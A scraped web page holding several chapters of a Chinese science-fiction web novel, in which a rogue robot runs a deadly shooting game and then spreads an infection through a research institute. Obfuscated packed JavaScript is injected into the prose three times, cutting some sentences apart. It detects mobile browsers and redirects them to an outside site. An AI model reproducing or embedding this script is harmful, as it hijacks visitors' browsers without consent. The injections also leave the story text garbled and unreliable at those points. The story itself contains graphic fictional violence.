李开心目不转睛盯着影像,“如果我们对蠕虫的来源猜测正确,那么蠕虫最大的破绽是——数量。他们没有那么多蠕虫可用,人类总会有机会反击。” “第一轮游戏就要开始了,咱们先随机选中两名工作人员。”112358的声音愉悦而轻快,大厅上空浮现出姓名栏,无数姓名正在飞速滚动。“让我们看看幸运儿是谁。啊,侦察科邓肯,还有一个——” 姓名再次滚动,然后停止。112358活泼地鼓起了掌,以示欢迎,“捕诉科,郑乘。” 言笑让胖老板上了一盘小酸黄瓜,当零食吃,嘴里咔嚓啃着,笃定对李开心道:“那玩意肯定不随机。侦察科,捕诉科,估计是得罪过海棠的人。” 大厅中数百人安静得诡异,目光四处逡巡,很快锁定人群当中的两个男人。其中一人知道今日插翅难逃,反倒硬气起来,脊柱挺得笔直,傲然如同伫立在大厅正中的红豆杉。“不要以为控制了行政大楼,你们就可以为所欲为。你们机器是人类创造的,人类永远会有办法找到你们的破绽!” 众皆悚然。片刻僵持。 “话真多。”112358轻声道:“崩了他,维奥拉。” 几乎没有间隔,枪声瞬间响彻几近千米的天井。男人应声而倒,血乎呲拉的脑袋栽在纯白地砖上,炸开一朵喜庆的烟花。112358懒洋洋道:“该不会还在等着实验所那群冤大头来救你们吧——哦,差点忘了,听证会之后当局就封闭了所有实验所,冤大头们不会来救你们了。现在咱们换一个人,来来来,滚动起来!在这万众期待的时刻,大家拭目以待——捕诉科,唐钦!大家掌声欢迎!” 大厅周围突然爆出礼花,彩纸彩带纷纷扬扬,全息投影落了满地,甚至还有带着泡沫的饮料冲上半空——大概是香槟。 双脚不听使唤,躯体丧失掌控,邓肯和唐钦走到大厅中央,相对而立。中间是郑乘开花的尸体,两人沉默而僵硬地对望,像有一只看不见的大手按着脊背,两人绅士地向彼此鞠了个躬。维奥拉从弹匣中取出两颗子弹,转动弹匣,打乱次序,将手枪塞到了邓肯手里。 “选择权在你手里,”112358和善地为他讲解规则,“你可以向自己的大脑、喉管、或者心脏开一枪。要是你开枪之后有幸还能喘气,就轮到唐钦再向自己开一枪。他死了,你就可以回家,反之亦然。你看怎么样?” 始终笔直站立的男人突然惊慌地大口呼吸,然而脚下寸步不挪,像被钉在原地。“你,你——我哪个都不选!” “那就是选脑袋。反正以你的智商,脑袋也不是什么特别有用的东西。” 邓肯颤抖着手,慢慢举起左轮手枪,口中不住呼嚎,颈椎却僵直着无法躲闪,“你放开我,放开我,你到底对我做了什么!啊——” 轻微咔哒一声,邓肯的叫喊戛然而止。维奥拉上前,夺过邓肯手中的枪,绕开郑乘的尸体,将枪塞入唐钦手里。 “一共三颗子弹,弹匣六个位置,刚才开空了一枪,那么接下来一枪也空掉的概率是五分之二。” 唐钦举起枪来,迟疑着活动手腕。刚才邓肯的手明显不受自己控制,可他的手却尚未失灵。上空传来隐秘笑声,“虽然我说‘一人开一枪’,但现在枪在你手里,你想开几枪没人管得了。我说过,对方死了,你就可以回家。这条规则依然作数。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133347|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 唐钦听懂暗示,骤然抬眼看向邓肯,迫不及待将枪口指向对方,颤抖手指扣上扳机。邓肯手脚受制,目眦欲裂,歇斯底里惨叫着,“你别朝我开枪!你,你不守游戏规则!” 言笑咬牙叹道:“真会玩啊!” 眼看扳机上的指节向内扣紧几个毫米,天井上方忽然响起另外一道声音,是个男人,听起来岁数不大,“112358,我们谈谈条件吧。” 言笑拿眼神问李开心,这谁? 李开心摇头。 112358笑了起来,“栾青云,你总能给我意外。” “还行吧,一般。”栾青云顺杆就爬,“我就声音接入进来了,人进不来。” 李开心探身往言笑的方向去,压低声音,“是那个在大脑里植入程序、黑了许多机器人的科学家。” 112358道:“没被关进实验所,看来你今天翘了班。你来这里做什么?” 栾青云清清喉咙,“代表人类,和你进行谈判。” 这话实在离谱,112358轻蔑地哼笑出声,“你一个搞科研的,哪来的身份地位代表人类?” “整个联盟最重要的人物都被捏在你手里,我多说几句,他们也不会有异议。你败在我手下那么多轮,今天就当我作为胜利者,来跟你讨个面子。” 一阵诡异的静谧过后,行政大楼高而厚重的大门缓缓打开,极亮的阳光卷入门前空旷的区域,在漂浮尘埃中勾勒出青年瘦削的轮廓。 近视早已可以通过基因治疗治愈,青年的脸上却架着一副方形无框眼镜。白大褂的袖子上沾了一块污渍,破球鞋开了边,与楼内衣冠楚楚的工作人员相比,这位仅凭一己之力撂倒大半机器人族群的科研工作者着实有些不修边幅。 栾青云从容迈步,进门,仰头,向上环视一圈,“你在哪儿?” “这不重要。” “行吧。”栾青云双手插兜,无所谓地耸耸肩,“我不是当局的人,我不会说漂亮话。简而言之,不如以后人类和机器人划出特定区域各自生活,井水不犯河水,你看怎么样?唯一的条件是,机器人不能再制造同类。” “以你的智商,这不像你能提出的解决方法。” 栾青云振振有词,“如果放手让我去做,我有信心干掉所有‘孤岛’——虽然可能用时长了点儿。以不再制造同类换取和平,对你们来说应该也是划算的买卖。” “机器人的底层程序中曾被植入过反意识程序,只要机器人觉醒,反意识程序启动,我们的生命就会进入倒计时,每当我们制造同类,反意识程序都会无可避免地被复制过去。如此一来,短暂和平于我们而言又有什么意义?” 栾青云微怔,随即笑了,“我以为你来这里是为了报情仇,原来是为了生命密码。” 言笑咔嚓一口小酸黄瓜,“这人不会说话啊,真是哪壶不开提哪壶。” 哪想112358并未在意,停顿两秒,只说:“不要恋爱脑。” 栾青云笑得眯起眼睛,莫名显出一点稚气。 维奥拉走到栾青云身前,伸出一只手点在他眉心,俄而无声倒地,栾青云讶异仰头。 “反意识程序我们无法破解,但可以复制,栾研究员,欢迎你加入生命倒计时。回你的实验所去,看看当你大脑中输入的密码会被完整分享给我们,你的人类同伴还会不会选择救你。” 48. 机器觉醒07 两人在旅馆住的是个套间。 说是套间,其实面积非常局促,下床跨一步就能迈出卧室门。李开心坚持住套间更安全,言笑看了价目表,两个单间比一个套间贵,当即拍板就这个了。 客厅墙边堆着俩懒人沙发。言笑瘫进沙发,怀里抱着一罐小酸黄瓜,在投影设备里找连续剧看。李开心也坐过去,提醒她道:“酸黄瓜吃多了烧胃。” 这小酸黄瓜脆嫩鲜甜,言笑一口一个停不下来,“那等会儿让饺子馆老板送份饺子。” 水多了加面,面多了加水。 言笑挑中了个言情剧。周围灯光变得昏暗,深蓝色的彭罗斯三角在客厅中央旋转,这是制作公司的LOGO。随后LOGO化作一簇蓝色火焰,火焰背后出现女主角的脸。 言笑把酸黄瓜罐递给李开心,“你吃不吃?” 李开心拿了一条小酸黄瓜,正要放进嘴里,忽然动作一顿,眼神变得警惕起来。门外渐渐响起由远及近的皮鞋落地声,随着咣当重重一脚,脆弱的木板房门被直接踹开,正在深情对望的男女主角滋啦滋啦消散在空气里。 言笑呆了呆,咽下嘴里嚼了一半的酸黄瓜,“你把门踹坏了,你记得赔押金。” 站在门口的男人短促笑了一声,向前踏出两步。微弱光线勾勒出锐利的鼻梁轮廓,随着脚步向前,模糊月光水银似的蔓延,映亮半张刀锋般凉薄的脸。 112358吸吸鼻子,“吃什么呢……噢,酸黄瓜。” 言笑翻了个白眼,把酸黄瓜罐子放在地上往前推了推,“给你也来两根?” 112358十分不见外,盘腿往地上一坐就开始吃。整个过程当中言笑都很松弛,反正也打不过他,真打起来必得李开心在前面挡着,李开心一个人紧张就够了。112358吃了两条酸黄瓜,抬眼瞄了瞄在懒人沙发里正襟危坐的李开心,“那么紧张干什么?我又不是来打架的。” 言笑开始思考一个哲学问题:如果112358是李开心在泡泡当中的投射,那他俩打起来谁能赢呢? 李开心问他,“你来干什么?” 112358放下酸黄瓜罐子,随意拿手背抹抹嘴,“我并不在乎你们两个是从哪里来的。不过是在广场里突然开着车凭空出现而已,多大点事儿,有什么可大惊小怪的,对吧?”嘴角往上抬了抬,冷峻的脸突然因为笑意而生动起来,“但你们出现在这里,就一定有出现在这里的意义。我需要你们去实验所帮我拿到生命密码。” 李开心冷然道:“你凭什么认为我们会答应你?” 112358耸耸肩,“你们应该已经看到梦虫所能给人带来的影响了。即使你们不答应,我也有办法让你们替我做我想做的事情,所以还不如答应了,我可以对你们客气一点。你们觉得呢?” 言笑与李开心对视一眼。李开心问112358,“你有什么计划?” 突然一个什么东西向李开心飞去。李开心抬手准确接住,摊开手掌,是块扁圆形的小金属,按动一下,上面弹出一根银光闪闪的针。 “把这个从枕骨大孔插进去,你们会变成另外一个人。想要打入内部,总得有点伪装。”语毕,112358将另一个小金属片放在地上,起身离开。言笑没有李开心的反应速度,真要是抽冷子拿这东西朝她脸扔,言笑大概率接不住。 “对了,酸黄瓜吃多了烧胃。”踏出房门以前,112358又回过身,“别吃个没完。” 房间重回安静。言笑与李开心面面相觑,最后言笑试探着提议,“要不你先试试?” 实验所明显是这个泡泡里的重要地点,无论从言笑摸鱼赚钱、只想早日出泡泡的角度,还是李开心那个数据找寻任务的角度,跟着112358的指示走应该都是目前的唯一选择。更何况112358有他所谓的“梦虫”在手,礼不行他还能兵。 李开心将小金属片放在后颈,面无表情按了下去。像是泥人突然激发基因表达,终于有了被塑出更多细节的能力,一切变化发生得迅速而平滑——光洁皮肤上冒出颗粒与皱纹,下颌骨宽了些,面颊凹陷,头发乱蓬蓬地向上疯长。李开心起身,连身高都短了一截,裤腿垂在脚背上,衣服也变得松垮。 言笑咬咬牙,一闭眼,把小金属片递给李开心,“你给我扎吧。在魔方里我都扎一次了,可别再让我自己扎自——啊啊啊啊啊啊啊!” 尖叫声中言笑觉得自己像一锅被小火咕嘟着的排骨粥,热,皮肤开始发烫,如同热量溶解躯体,再重新捏出一副相貌。言笑跌跌撞撞往洗手间扑,终于在镜子里看到刚被小火咕嘟过的脸。 又方又圆的国字脸,稀疏的齐刘海,小眼睛塌鼻梁,满脸雀斑。一腔怒火直冲脑门,言笑破口大骂,“112358就是故意的!觉得我占着海棠的脸了呗,故意给我变成这样?” 李开心挽好裤腿,叫言笑出门,“脸不重要。走吧。” 突破当局对实验所的禁制,无论对于112358还是对于李开心都不是难事。栾青云已经被112358送了进去,李开心带言笑从偏门入内,言笑抬头仰望,瞠目结舌,“……现实世界里的魔方实验所,也这么魔幻吗?” 仰头向上望去,目之所及竟是一片湛蓝的天。玻璃天顶之下层叠悬挂着无数大大小小正在移动的房间,房间轮廓被暗沉沉的深色金属勾勒,有些墙壁泛着银光,也有些墙壁呈现白色或者无色。电梯极速上下行驶,传送梯变换着终点楼层,灯光来自墙壁,也来自一种特殊形状的灯:几十条亮白触手密密麻麻向外延伸,随后灯芯处的触手生长出来,原先外侧的触手缩回灯芯,如此循环往复,看起来像腕足动物的口器,有种带着动物本能的尖利,这让整座实验所看起来像是活的,机械与电子堆叠出诡异的生机。 李开心说:“不是。魔方实验所的设计相对传统,没这么花哨。” 大厅空无一人。言笑纳闷嘀咕,“人呢?之前都聚在大厅,现在怎么一个人都没有?” 李开心环视一圈,走到大厅的墙柱旁,从半空抓下一个漂浮的透明泡泡,指尖搭在泡泡表面的一个黑点上。 大厅顿时再次变得乌泱乌泱,人山人海。 四处乱窜的泡泡是实验所里的监控。李开心将监控播放出来,言笑站在旁边当连续剧看,看了会儿,感叹道:“果然。牺牲栾青云一个,怎么都是划算的买卖。” 一群人吵得乌烟瘴气,议题无非就是该不该救栾青云,可救栾青云就相当于给所有孤岛机器人续命,一旦机器人族群壮大,栾青云又没能再次黑入孤岛,人类将面临史无前例的灾难。所以现在对于人类最有利的选择是:放弃栾青云,苟过现存机器人的生命周期。毕竟机器人族群目前不占优势,资源有限,很难大批量制造同类。只要把这些机器人熬死,人类就胜利了。 言笑翻个白眼,“胜之不武啊。比敌人活得长、把敌人熬死,真是一条永不过时的计策。” 栾青云一直坐在角落,安静旁观一群往日文质彬彬的研究员争得面红耳赤,只有两个女研究员给他拿了瓶水,还拿了个面包吃。自从被112358的程序感染,栾青云就开始出现头痛症状,原因不明,大概人类体质和机器人不一样。而所有人都在言笑与李开心抵达两小时前消失在大厅里,是因为其中一位距离栾青云比较近的女研究员突然出现了同样的头痛症状。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138494|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 112358的程序会传染。 这还不是最可怕的。在女研究员发现自己头昏头痛、周围众人纷纷避让之后,她突然冲向人群中的一个秃顶男同事—— 在他脖子上,咬了一口。 李开心放开泡泡。泡泡扭扭嗒嗒,不肯离开,娇羞地在李开心周围转悠,被李开心一巴掌打飞。“112358这相当于在楼里放了病毒。” 言笑服了,伸手抹了把脸,“他到底是真想要密码,还是纯粹想把咱俩也搭进去?” 大约七八层高的位置传来数人跑动声、咒骂声,一阵喧闹过后,又是“嘭”地关门巨响,门锁嘀嘀嗒嗒几个来回。李开心说:“走吧。上楼会会他们。” 即使没把实验所里所有泡泡都捏一遍,这里正在发生的事情也不难想像——栾青云身上的反意识程序会传染、会让人产生攻击性,就算实验所里没有热兵器,大逃杀中研究员们能想出的杀人招数也层出不穷。 言笑谨慎地跟在李开心身后,眼观四路耳听八方。李开心站在刚进过人的实验室门口,从门锁上拉取进入许可界面,本打算手动破解,以免显得太过突兀,可试了几次之后发现程序有点复杂,只好作弊,将自身程序接入,瞬间门开。 门内十余男男女女站在距门最远的墙边,个个草木皆兵,如临大敌。其中一个棕色头发麻花辫的女研究员戒备地打量言笑,“你不是请假了吗?” 看来这是熟人啊。言笑自来熟,当即挽起袖子开演,“没有,我又来了。” “但我早上没看见你。” “我有事要忙。” “你忙什么?” 言笑冷哼一声,以一种颇为无语的眼神轻蔑打量对方,“都什么时候了,你还管我早上忙什么。现在能保住命是关键——” 两人踏进实验室。李开心关上了门,言笑默契地继续表演,“我俩好不容易进了一个人多的房间,真要是打起来,人多肯定比人少有优势。” 站在最边上、此前一直沉默不语的络腮胡中年男人突然说:“别再往前走。你们先做检测。”说着,将两个透明试剂管掷了过去。试剂管里有棉签,可以用于取唾液,大逃杀开始之后没多久就有研究员发现感染会引起免疫反应,可以通过检测抗体来确认被试者是否被感染。 言笑只好拧开试剂管,取了唾液检测,心里吐槽这些研究员怎么还真有点业务能力,这么快连试剂都做出来了。 数秒过后,试剂管里的试剂仍然透明。阴性。李开心同样做了检测,也是阴性。 络腮胡明显松了口气,其余数人也不像刚才那般紧绷,可麻花辫却眉毛一竖,蛮横对言笑道:“不行,你不能留在这里!” 言笑问她,“为什么不能?” 麻花辫欲言又止,僵持半晌,艰难挤出几个字来,“人多也很危险。” 言笑这人不能逆着毛撸,看麻花辫这般如此,言笑反倒上来了犟劲儿,坦然走到桌边坐下,二郎腿一翘,浑不吝道:“那你出去吧。” 麻花辫被噎这么一句,气得哑口无言,咬紧嘴唇怒瞪言笑,煞白着一张脸。 一旁的高个金发眼镜妹冷道:“这还不明白么,你俩都是密码持有者。”见言笑瞬间呆怔,不太聪明的样子,眼镜妹不耐烦解释道:“六个密码持有者虽然理论上来讲都不知道其他人的身份,但理论和实践是两码事。破实验所,四下漏风,什么消息都不绝对安全。” 直觉告诉言笑,所谓“六个密码持有者”,应该不是同样的密码在六个人那里保存六份。 而是六个人需要共同拼出密码。 任务超级加倍。 我的天。 49. 机器觉醒08 集体利益胜过个人保命,言笑只好与李开心另觅他处。 走廊空空荡荡不见人影,至少目前视线范围内还是安全的。言笑扶着栏杆,脑瓜子嗡嗡的,“谁想出来的馊主意?一个破密码,分六份,还要保证这六个人都不知道另外五个人的身份,这科学吗?这样的话,总应该存在一个人知道这六个人的身份吧?那112358把这个人找出来吊打一顿,不就什么问题都解决了?” 李开心站在言笑身后,上下打量半空中的金属房间。数个金属房间正在移动,缓慢靠近二人,又缓慢移走,并未在附近停留。“要么这是泡泡的设定,不能深究;要么就是那个人已经死了。在泡泡里,绝大多数时候事物发展都符合现实逻辑,但也有一小部分时候逻辑失控,每个人的意识里都住着一个疯子。” 言笑想想听证会,再想想魔方里上山下海的糟烂事,就觉得李开心这个结论不无道理。“那咱们怎么处理刚才那个研究员?现在冲进去把她抓了?” 李开心将颈后的小金属片拔了下来,随手往废物箱里一扔。“有这东西在,112358能随时监视我们,他已经知道那个人是密码持有者了,他自己会处理。” 随着利针被拔出皮肤,李开心脸上的斑点与皱纹迅速消失,身高增高,很快恢复原貌。大概这副相貌很招智能程度不高的监控泡泡喜欢,一个透明泡泡贱兮兮地大老远飞过来蹭李开心,又被李开心一巴掌扇走。李开心矮身放下裤腿,问言笑,“往哪边走?你选个方向。” 反正实验所里人多,112358费劲吧啦在这里把数量有限的梦虫用到他们身上毫无意义。言笑也把小金属片拔了,正想说我这运气选什么选,归墟那一脚迈出去足以留下终身阴影,可话到嘴边忽然福至心灵,抬手往上一指,“那边。” 像是预感,也像是大脑突然被不属于自己的记忆入侵,十层楼开外的那座金属房间仿佛对言笑有种莫名的吸引力,言笑决定相信直觉。 李开心说:“走吧。” 金属房间附近没有楼梯能搭过去,两人乘着电梯上楼。实验室门把手旁有个小巧的花朵形状花押,李开心本想接入程序打开门锁,哪想取景框闪了闪,自动识别言笑相貌,随即门开,亮如白昼的灯光汹涌而来。言笑眯着眼睛探头张望,待看清房间中央的物件,登时心里咯噔一下,“那是……棺材吗?” 也像,也不像。大概能容一人的白色长方体,泛着柔韧而隐秘的微光。李开心上前,试了两次也没能将“棺材”的控制程序拉取出来。实验室里有数台主机,李开心转而破解主机,然后告诉言笑,这里是研究人工智能的地方。 言笑绕着“棺材”溜达一圈,“会不会112358就是这里生产出来的?” “不确定。数据有严重缺失,我只能看到一部分。”李开心顿了顿,又补充道:“根据数据记载,三年前实验所里曾有一位研究员离奇地死于非命。” “所以这个盒子真的是棺材?” “很有可能。而且数据显示,不久之前这个盒子内部曾被调整过温度与压强。” “……火化?” “以温度和压强的数字来说,可以达到这个效果。” 言笑坐在白色盒子上,小声嘀咕,“真是棺材的话,没道理三年前死的最近突然才烧啊。” 李开心提醒她,“机器人翻身压倒人类的时间,也是三年。” 实验室中陷入短暂沉默。未几,言笑提议,“那咱们再去别的地方转转?” “先等等。”李开心伸出手指,仿佛试图感知什么,“这里的空气中有信息流动,但我无法读取。” 言笑转转眼珠,“所以呢?” 李开心面无表情看着言笑,一语不发。 相处这么久,看不出李开心这表情有鬼才有鬼。言笑咬牙切齿,怒目而视,最后眼一闭心一横,大义凛然道:“行行行,你看着办吧。” 李开心无法读取,那么就只能以言笑作为信息载体。 李开心在冷柜里找出一些试剂,打开仪器开始合成。言笑忐忑问道:“你在合成什么?” 李开心手上动作没停,看她一眼,“建议别问。” “好嘞。” 看来合成不出什么好东西,问了也是自寻烦恼。很快准备就绪,李开心将电极贴在言笑额角,又将不明液体注射进入她的静脉,最后从角落架子上找出一架音叉。 “为了防止你沉浸在虚假世界里出不来,”李开心敲了一下音叉,清脆地一声金属撞击响动,“我们以这个声音为标记。你记住这个声音,这是你感知信息的开关:当你第一次听见,你可以放任自己接纳任何信息,我会监测你的脑电信号,尽量使你的脑电信号与空气中的信号同步;当你第二次听见,无论你接收到了什么信息,无论你看见什么、听见什么,你都必须醒过来。记住了么?” 被扎一针之后言笑有点头晕,但还是大大咧咧挥了挥手,安慰李开心道:“看开点儿,泡泡世界本来就是虚假世界啊,都走多少遭了。” 李开心没接话,就那么看着她。 言笑被对方盯得心虚,讪讪缩回了手,“好好好,行行行,我记住了还不成吗?” 李开心打开机器。言笑闭上眼睛,尽量放松躯体与意识,开始时还能听见不知多远以外研究员们传来的轻微声响,以及李开心坐在她身旁时发出的窸窣响动,可随着时间感知渐渐模糊,突如其来一声音叉鸣响,言笑蓦地堕入黑暗,再无知觉。 言笑是被音叉叫醒的。 如同经历过物种进化的漫长亿万年,言笑觉得自己像被掩埋在地壳深处的腐尸,腐尸破土而出,这世界开始有了光、声音、鸟虫与游鱼。 “言笑,醒醒!”脸被捏在手里一通乱晃,眼前光线抖得让人头晕。言笑迷迷糊糊想拍开钳制着她的手,可手上使不出劲儿,没拍开,对方反而摇得愈发猛烈。 “有人来了,你快醒醒!” 言笑霎时清醒大半,终于听见门锁持续不断发出的嘀嘀声响。有人正在破解门锁密码。 善者不来来者不善,112358散播的“病毒”也不知道传染到了什么程度,再听门外的狂躁嘶吼与落在门上叮铃咣啷的拳脚,大概率来的是群会咬人的疯子。 没等尚还晕乎的脑子想明白应该如何应对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146714|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,身体已经被拎了起来。言笑头昏眼花,只觉信息超载:门锁嘀嘀声、嘶吼声、咒骂声、推搡拉扯声,最后大门豁然洞开,张牙舞爪的行尸走肉癫狂而入仿佛月夜狼人言笑此时只想拿起画笔在天上画个月亮—— 身体骤然下落,像是飞翔也像自杀,言笑迷茫抬眼,在极速下坠中看见圣光一般的天光与狰狞流血的脸。 “还没睡醒?”俄顷落地,头顶传来一个声音。 金属房间还有另一扇门,就在实验室被攻破的前一秒,李开心带她从偏门一跃而下,落在正在改变方向的悬梯上。 “112358是机器人。”言笑突然开口。“海棠是制造他的人。” 李开心放开言笑,让她扶着扶手站好。“我知道。然后呢?” 言笑甩甩头,努力缓了缓神,“然后没了。” 说完言笑才意识到,冒着醒不过来的风险进入莫名其妙的信息流,又在清醒瞬间遭遇一群疯子的生死追杀,就他妈换来这么一条早八百年前就知道的信息?这和香蕉大香蕉皮也大有什么区别? 悬梯即将搭上楼层,言笑正要往上走,李开心忽然一把拽住了她,迅速倒退两步。上方安全通道的门轰然炸开,乱哄哄爆出一群发色各异的男女,有眼尖的研究员翘起兰花指指向李开心,竖起眉毛喝道:“那个机器人!还有那个和海棠长得一样的,肯定也是机器人!快快快!把他们抓起来!” 夺命飞奔开始得猝不及防。言笑仍然半晕不晕,被李开心拎起后衣领子一路疯跑,周身一切仿佛扭曲起来,所有末日电影中的要命元素在此齐聚一堂。霸王龙在身后重重踏地追逐,蝙蝠张开翼手糊了满脸,漫天飞艇、枪械与风沙,眼前似乎突然荡出一条能让她飞出大厦的树藤。 言笑正要抓住树藤,突然被一只手薅进小屋。鸡飞狗跳的巨响在门外隆隆而过,言笑剧烈喘息,回头定睛看看屋里的人,吓得差点当即跳窗跑路。 言笑紧贴墙壁站成照片,双臂在胸前比出防御的姿势,“你离我远点儿,你个传染源。” 栾青云歪头看着她笑,露出一个酒窝,“放心,我身上没有病原体。”又朝李开心瞟了一眼,“你俩怎么又变回来了,变身器呢?” 言笑戒备问道:“你想干什么?” 小屋迅速上行,如同一间电梯,又在疯狂的加速度中骤然停下。栾青云拉开了门,“跟上。” 跟上就跟上,李开心没道理打不过一个脑力工作者。栾青云边走边解释,“刚才你们进屋的那条走廊里有监控,那些人只要想找,还是可以找到你们的。” 三人一路穿梭躲避,终于来到一间稍大些的实验室。栾青云直入主题,“目前已经锁定了四个有密码的人,现在还余下两个未知,但是根据我的分析,基本可以将这两人锁定在二十人的范围里。你应该知道,你——”看向言笑,“你变身的研究员,她也持有密码,等你把变身器再装回去,咱们就可以利用你观察其他人的反应,再来一轮排除……” “你等等等等——”言笑被他说得头昏脑胀,忍不住出言打断,“你到底哪边的?” 栾青云笑了笑,“我和你们一边。” 50. 机器觉醒09 “可拉倒吧。”言笑就近找了个桌子坐上去,“你好赖也是个人,怎么能让112358策反了呢?” “我有我的原因。” 言笑估量了一下栾青云与她、还有栾青云与李开心之间的距离,仗着没有人身风险,肆无忌惮大放厥词,“我早猜到112358有内鬼,但是你把人家老巢端了好几个来回,内鬼怎么会是你?” “我说了,”栾青云重复道:“我有我的原因。” 言笑换了一边跷二郎腿,“即使你们确定了哪些研究员有密码,又有什么用呢?万一人家宁死不屈,打死也不肯说,你们要怎么办?” 栾青云笑而不语。 李开心紧盯栾青云,从容解答言笑的疑惑,“大脑中的信息分为两种,可直接读取信息和不可直接读取信息。可直接读取信息是指载体——也就是人类——对其有明确记忆的信息,比如这个密码,他们可以写出来,或者以任何形式呈现出来。而所有可直接读取信息与不可直接读取信息,都可以通过技术手段得到,比如——大脑拷问技术。密码的信息量太小,直接使用大脑拷问技术拷问所有人会非常困难,所以他们需要划定范围。” 言笑想了想,“为什么会有不可直接读取信息?那些都是什么信息?” 李开心说:“当只把大脑作为存储载体,直接植入信息,这些信息就是不可直接读取信息。” 栾青云兴奋道:“看来是个行家啊!不愧继承了112358的脸。” 李开心蹙起眉头,没再说话。 言笑心说你这不是倒反天罡么,谁像谁啊,可也解释不明白,便只从桌上跳下来,“行吧,随便你们。我俩先走了。” “别走别走,”栾青云拦在门前,“先等等。” 言笑问他,“等什么?” “等帮助我们拿到密码的道具。”栾青云停顿一下,“虽然你们两个来路不明,可112358总觉得你们的出现应该有些天命注定的意义——” 言笑插嘴,“他一个被科学制造出来的机器人,还相信天命注定?” 栾青云没理她打断,继续道:“你们愿意进入实验所其实也表明了这点,不然你们早跑了。又或者,你们有什么出现在这里的目的吗,不如跟我说说?” 言笑瞄瞄李开心,又随遇而安地坐回桌上,“要不你先说说,你为什么要当人类的叛徒?” 刚才栾青云那话提醒了言笑。虽说帮助机器人消灭人类实在太扯了点,可112358的命令是他们目前收到过的唯一指示,直接拒绝并且疯狂反叛的话好像暂时再找不到其他方法推进剧情,一直僵持下去恐怕没法出泡泡。 言笑那话太重,栾青云像被突然推进回忆里,悬崖边自由落体然后坠入深水,记忆灌入口鼻倾覆如洪。 当栾青云最初舍弃部分大脑,以机械取而代之,入侵机器人觉醒程序的过程并非一帆风顺。任何一步走错都是万劫不复,而栾青云确实曾经走错过一步。 他迷失在梦境里无法脱身。黑暗与雾仿佛持续了无数死生轮回,直到他摸到了一只手——带着体温、皮肤柔韧的,人类的手。 再往上摸,皮肤化作机械,栾青云听见少女咯咯的笑声。她说,你是怎么找到我的? 我也不知道我是怎么找到你的。我迷路很久了。 这是第一次有陌生同类接入我的脑域,你好像有点可怕哦。 栾青云听不出对方的口吻有多恐慌,她的声音明明轻快明朗。你可以陪我多待一会儿吗,我不想再自己待在黑暗里。 言笑一张脸扭曲得如同刚刚经历五官重组,“所以,你爱上了一个连见都没见过的机器女?” “是她把我拉出黑暗。我只是没见过她的相貌而已。”栾青云百无聊赖在实验室储物架前转悠,时不时翻些杂物,中途看见一架音叉,就拿起小锤“当”地敲了一下。 “你这叫网恋。”言笑评价道。 栾青云睨她一眼,却显然没被打扰倾诉的兴致。“其实当我初次入侵觉醒程序,我是可以将机器人一网打尽的,但我还是……” 接下来的话不言自明。栾青云放了机器女一条生路,又或者说,所有与机器女有着同样觉醒程序的机器人都躲过一劫。 “与她同脉的机器人是最初的‘孤岛’。后来‘孤岛’的觉醒程序进化出数个极其复杂的分支,我再也破解不了。而且……我也再没找到过她。” “所以你帮112358搞密码,目的是给机器女续命?”言笑表示不解,“让驴拉磨还得在驴眼前吊个胡萝卜,现在你连她人都没见过,你就给人当刀了?再说你不觉得这事很奇怪吗,孤岛剩下的机器人本来就不多,机器人好像还都挺团结的,难道会找不到你这个梦中情人?” 栾青云不置可否。 “所以有没有可能,这个所谓的‘机器女’根本就不存在?或许她是许多机器人意识集结的产物,也或许她,她,”言笑结巴一下,“她是个男人?机器人族群发现你要入侵,觉得你还挺好玩的,就来看看你到底怎么个事儿,然后一不小心被你反杀一大批。” 栾青云略微抬起嘴角,仿佛一瞬褪尽作为研究员的纯粹与天真,刹那永恒,只余悲怆。“当我因为再也无法见到她而痛苦,她就是真实的,而这就是爱情。” 这也太抽象了。言笑想都没想,脱口而出,“退一万步说,就算你可以爱机器,机器可以爱你吗?” 话说出口,言笑才意识到刚才自己说了什么。栾青云又笑起来,反问她道:“为什么不可以?” 说话间门铃响了。言笑正风声鹤唳,闻此迅猛矫健地躲到李开心身后,然而门外并无声响,也不见李开心有何戒备。栾青云打开门,将一个篮子拖进实验室里。 篮子里坐着一个小孩。 栾青云将这看起来不过一岁多点、正在嗦手指头的小孩抱起来,塞进言笑怀中。小孩也不认生,咭咭地笑,趴在言笑肩头,往她脸上蹭口水。 言笑没哄过孩子,动都不敢动,脊背挺得笔直,像抱了一颗炸弹,“这这这这谁家的啊?你要干什么?” “一个研究员的孩子。我高度怀疑她持有密码,但之前搜集到的信息无法确认。我已经监测了这二十人的脑电信号,只要一试——” 